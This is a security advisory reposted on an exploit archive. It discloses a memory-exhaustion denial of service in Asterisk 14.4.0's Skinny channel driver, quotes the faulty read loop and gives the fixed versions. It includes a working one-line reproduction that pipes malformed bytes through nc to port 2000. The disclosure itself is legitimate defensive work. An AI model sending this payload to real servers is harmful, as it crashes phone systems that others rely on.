exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Asterisk 14.4.0 Skinny Denial Of Service

Asterisk 14.4.0 Skinny Denial Of Service
Posted May 22, 2017
Authored by Sandro Gauci, Alfred Farrugia

Asterisk version 14.4.0 with chan_skinny enabled suffers from a memory exhaustion vulnerability that can lead to a denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | f873e04bcb0eecc9597ab97c172b350143d8b4bc7a90a33fabc8192c71a4c519

Asterisk 14.4.0 Skinny Denial Of Service

Change Mirror Download
# Asterisk Skinny memory exhaustion vulnerability leads to DoS

- Authors:
- Alfred Farrugia <alfred@enablesecurity.com>
- Sandro Gauci <sandro@enablesecurity.com>
- Vulnerable version: Asterisk 14.4.0 with `chan_skinny` enabled
- References: AST-2017-004
- Enable Security Advisory:
<https://github.com/EnableSecurity/advisories/tree/master/ES2017-03-asterisk-chan-skinny-crash>
- Vendor Advisory:
<http://downloads.asterisk.org/pub/security/AST-2017-004.html>
- Timeline:
- Report date: 2017-04-13
- Digium confirmed issue: 2017-04-13
- Digium patch and advisory: 2017-05-19
- Enable Security advisory: 2017-05-23

## Description

Sending one malformed Skinny message to port 2000 will exhaust
Asterisk's memory resulting in a crash.

## Impact

Abuse of this issue allows attackers to crash Asterisk when Skinny is
exposed to attackers.

## How to reproduce the issue

Start Asterisk and make sure the `chan_skinny` module is loaded. Then
execute:

printf
"\x38\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x53\x45\x50\x30\x30\x30\x39"
| nc localhost 2000

After a few seconds Asterisk will crash since it will be using all of
the available memory. Different malformed strings will crash the server
faster or slower depending on the amount by which `req->data` is
extended.


The malformed message will throw the following errors in Asterisk:

[Apr 6 09:35:26] WARNING[6893]: chan_skinny.c:7587
skinny_session: Partial data received, waiting (35 bytes read of
52)

while it will loop forever. This is due to the following code:

```c
while (1) {
if ((res = read(s->fd, ((char*)&req->data)+bytesread,
dlen-bytesread)) < 0) {
ast_log(LOG_WARNING, "Data read() returned error: %s\n",
strerror(errno));
break;
}
bytesread += res;
if (bytesread >= dlen) {
if (res < bytesread) {
ast_log(LOG_WARNING, "Rest of partial data
received.\n");
}
if (bytesread > dlen) {
ast_log(LOG_WARNING, "Client sent wrong amount
of data (%d), expected (%d).\n", bytesread,
dlen);
res = -1;
}
break;
}

ast_log(LOG_WARNING, "Partial data received, waiting (%d bytes
read of %d)\n", bytesread, dlen);
if (sched_yield() < 0) {
ast_log(LOG_WARNING, "Data yield() returned error:
%s\n", strerror(errno));
res = -1;
break;
}
}
```

The reason appears to be that `res` always returns 0 so `bytesread` will
not grow and the loop never breaks. However `req->data` will continue to
expand until all the memory is exhausted.

This issue was found through basic manual testing, before attempting to
start fuzzing `chan_skinny`.

![Memory usage while Asterisk receives a malformed skinny
message](mem-graph.png)

## Solutions and recommendations

Apply fix issued by Asterisk, upgrade to Asterisk 13.15.1, 14.4.1 or
13.13-cert4. Enable Security highly recommends disabling this module.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) provides Information
Security services, including Penetration Testing, Research and
Development, to help protect client networks and applications against
online attackers.

## Disclaimer

The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. Use of the
information constitutes acceptance for use in an AS IS condition. There
are no warranties with regard to this information. Neither the author
nor the publisher accepts any liability for any direct, indirect, or
consequential loss or damage arising from use of, or reliance on, this
information.

Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close